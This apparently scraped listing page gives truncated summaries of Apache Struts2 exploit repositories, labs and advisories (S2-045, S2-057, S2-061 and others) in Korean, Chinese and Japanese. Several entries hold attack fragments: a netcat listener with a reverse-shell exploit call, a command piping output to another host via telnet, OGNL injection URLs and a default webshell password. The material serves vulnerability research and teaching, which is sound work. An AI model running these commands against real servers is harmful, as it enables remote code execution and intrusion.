CVE-2019-0230

이게 뭔가요 이것은 S2-059를 위한 간단한 테스트 프로젝트로, 이 취약점의 세부 사항을 분석하는 데 사용할 수 있습니다. 사용 방법 1단계: IDEA를 사용하여 이 프로젝트를 가져옵니다. 2단계: Tomcat 서버를 설정합니다. 3단계: 브라우저로 "http://ip:port/SimpleStrutswarexploded/S2059?id=%2588"에 접속합니다. 공격 방법 root@kitploit: python2 CVE-2019-0230.py...

CVE-2018-11776

CVE-2018-11776 CVE-2018-11776 / S2-057 的实验环境 演示 运行服务器 root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 利用 root@kitploit: $ nc -l 10000 or nc -lp 10000 root@kitploit: $ python3 exploit.py localhost:30080 'bash -i &...

cve-2023-50164

CVE-2023-50164 취약한 버전 Struts 2.0.0 - Struts 2.3.37 EOL Struts 2.5.0 - Struts 2.5.32 Struts 6.0.0 - Struts 6.3.0 취약점이 해결된 버전 Struts 2.5.33 Struts 6.3.0.2 검색 스크립트 Windows/PowerShell PowerShell 5.1 이상용. 작성자: Kjetil Sigvartsen Norsk helsenett SF. root@kitploit: String$Extensions = @'.jar', '.war',...

CVE-2018-11776-Python-PoC

CVE-2018-11776-Python-PoC hook-s3c github.com/hook-s3c, @hooks3c 트위터에서 CVE-2018-11776을 위한 작동하는 Python 테스트 및 PoC, 원래 다음에서 등장했습니다; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC 무슨 일인가요? Semmle의 Man Yue Mo가 Struts2 RCE 취약점을 발표했습니다. 이 취약점은 요청의 URL 경로에 인코딩된 페이로드로 전달됩니다. 영향을 받는 버전은 2.3부터...

-CVE-2017-9805-

脆弱性情報 リソース: https://vulners.com/cve/CVE-2017-9805 これは何ですか？ S2-052に脆弱なStruts2をホストするシステムのシェルにリモートコマンドを実行できるPythonエクスプロイトスクリプトです。 使用方法 python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" root@kitploit: Apache Struts XStream REST vulnerability ...

CVE-2020-17530

무엇인가요 이는 S2-061에 대한 간단한 테스트 프로젝트로, 이 취약점의 세부 사항을 분석하는 데 사용할 수 있습니다. 사용 방법 1단계: IDEA를 사용하여 이 프로젝트를 가져옵니다 2단계: tomcat 서버를 설정합니다 3단계: 브라우저를 사용하여 "http://192.168.174.149:8080/SimpleStrutswarexploded/S2061.action?id=%25%7b8%2a8%7d"에 접속합니다 익스플로잇 방법 SSRF 테스트 root@kitploit: POST...

CVE-2020-17530

S2-061 스크립트는 모두 vulhub의 struts2-059/061 취약점 테스트 환경을 기준으로 작성되었으며, 일반적이지 않으니 고수분들의 많은 조언 부탁드립니다. struts2-061-poc.py 간단한 시스템 명령 실행 가능 사용법: python struts2-061-poc.py http://ip:port command 예시: python struts2-061-poc.py http://192.168.0.7:8080 whoami S2-061-shell.py 리버스 셸 가능 사용법: 1. 먼저 머신 A에서 지정된 포트를...

CVE-2020-17530-strust2-061

このリポジトリには README がありません。...

CVE-2021-31805

CVE-2021-31805 1.はじめに Struts2 リモートコマンド実行脆弱性（CVE-2020-17530&CVE-2021-31805）POC&EXP 2.使い方 パラメータ説明 root@kitploit: -u 目标url -m dnslog|exp //默认有回显界面字符检查 -n s2-062 //默认s2-061 -s windows //默认linux -p 漏洞参数 有回显检测 root@kitploit: Struts2RCE -u http://127.0.0.1:8080 //默认s2-061检测 无回显检测 root@kitploit:...

Struts2-045-Exp

Struts2 S2-045 CVE-2017-5638 Exp ツール Exp 機能: コマンド実行 対象Webサイトの物理パスを取得 ファイルアップロード Getshell Chopper用デフォルトWebshell HTTP/HTTPS対応 任意のポートのURLに対応 注: デフォルトWebshellのパスワードは s2045@exp 注意事項 このプロジェクトは教育/研究目的を意図しています メール: [email protected]...

freemarker_RCE_struts2_s2-061

freemarkerRCEstruts2s2-061 cve-2020-17530 struts2s2-061 freemarkerRCE テストスクリプト python freemarkerRCEstruts2s2-061.py...

Apache-Struts2-RCE-Exploit-v2-CVE-2017-5638

Modded-Apache-Struts2-RCE-Exploit-v2-CVE-2017-5638-AUTO-EXPLOITER...

vulhub-struts2

Apache Struts2 S2-045 リモートコード実行 CVE-2017-5638 📌 概要 このプロジェクトは、Apache Struts2 CVE-2017-5638 におけるリモートコード実行 RCE の脆弱性 を実演するものです。 攻撃者は、巧妙に細工された HTTP Content-Type ヘッダーを利用して、脆弱なサーバー上で任意のシステムコマンドを実行できます。 このリポジトリは、Vulhub Docker ラボ を使用して、脆弱性を安全にテスト・理解できる環境を提供します。 🛠 環境セットアップ ホスト: Ubuntu 24.04 VirtualBox または...

Struts2-045-Exp

Struts2-045-Exp Struts2-045 익스플로잇 스크립트 테스트용으로만 사용하세요 사용법: python3 struts2-045-exp.py url cmd...

CVE-2020-17531

CVE-2020-17530 Apache Struts2 프레임워크는 Java EE 웹 애플리케이션을 개발하기 위한 웹 프레임워크입니다. Apache Struts는 2020년 12월 8일 S2-061 Struts 원격 코드 실행 취약점CVE-2020-17530을 공개했습니다. 특정 태그 등을 사용하는 경우 OGNL 표현식 주입 취약점이 존재할 수 있어 원격 코드 실행으로 이어질 수 있으며, 위험도가 매우 높습니다. 우리 학교의 Apache Struts 사용자에게 가능한 한 빨리 보안 조치를 취하여 취약점 공격을 차단할 것을...

CVE-2020-17530

CVE-2020-17530 Apache Struts2 프레임워크는 Java EE 웹 애플리케이션 개발을 위한 웹 프레임워크입니다. Apache Struts는 2020년 12월 8일 S2-061 Struts 원격 코드 실행 취약점CVE-2020-17530을 공개했습니다. 특정 태그 등을 사용하는 경우 OGNL 표현식 주입 취약점이 발생할 수 있으며, 이로 인해 원격 코드 실행이 가능해져 위험이 매우 큽니다. 저희 대학의 Apache Struts 사용자분들께서는 취약점 공격을 차단하기 위해 가능한 빨리 보안 조치를 취하시기 바랍니...

study-struts2-s2-054_055-jackson-cve-2017-7525_cve-2017-15095

Struts2의 취약성 S2-054, S2-055 및 Jackson의 취약성 CVE-2017-7525, CVE-2017-15095 조사 보고 요점만 정리하여 읽기 쉽게 만든 요약 기사를 공개했습니다. 먼저 개요를 알고 싶거나 시간이 없는 분들께 추천합니다. SSTtechlog 08 S2-054, S2-055 및 jackson-databind의 취약성 CVE-2017-7525, CVE-2017-15095에 대해 | SST 주식회사 시큐어스카이 테크놀로지...

struts2-tool

Struts2 脆弱性検出・悪用ツール s2tool 純Java で実装された Struts2 S2-045 / S2-046（CVE-2017-5638）脆弱性検出・悪用ツール。 検出モジュールは S2-045 / S2-046 の2つの脆弱性をカバーし、 悪用モジュールはコマンド実行、ファイル管理、情報取得、対話型シェル、リバースシェル、Webshell アップロードなどの機能を提供します。 免責事項 ：本ツールは認可されたセキュリティテスト、脆弱性研究、教育目的のみに使用してください。 認可のない不正利用は厳禁であり、利用者はすべての法的責任を自己負担するものとします。 機能概要...

CVE-2017-5638

LAB 1 — Apache Struts2 OGNL インジェクション CVE-2017-5638 / S2-045 I. システム分析 攻撃面の分析 コンテナ起動後、Struts2 のログには、struts-default.xml 、struts-plugin.xml 、struts.xml などのよく知られた設定ファイルが読み込まれることが示されています。これにより、使用されているフレームワークが Apache Struts2 であることが確認できます。 特筆すべき点は、次の行にあります。 Choosing bean jakarta for...

CVE-2017-5638-Attack-and-Defense

Apache Struts2 S2-045 방어 및 공격 실습 랩 Apache Struts2 S2-045 취약점CVE-2017-5638에 대한 공격 과 방어 를 모두 시연하는 Docker 기반 보안 실습 랩입니다. 이 랩에는 다음이 포함됩니다: 1. 취약한 애플리케이션 : Struts 2.3.31 S2-045에 취약 - 공격 시연용 2. 방어 랩 : WAF 보호 기능이 있는 Struts 6.3.x 패치됨 - 방어 훈련용 ⚠️ 보안 경고 : 이 랩에는 실제 작동하는 익스플로잇 과 취약한 코드 가 포함되어 있습니다. 격리된 환경에서만...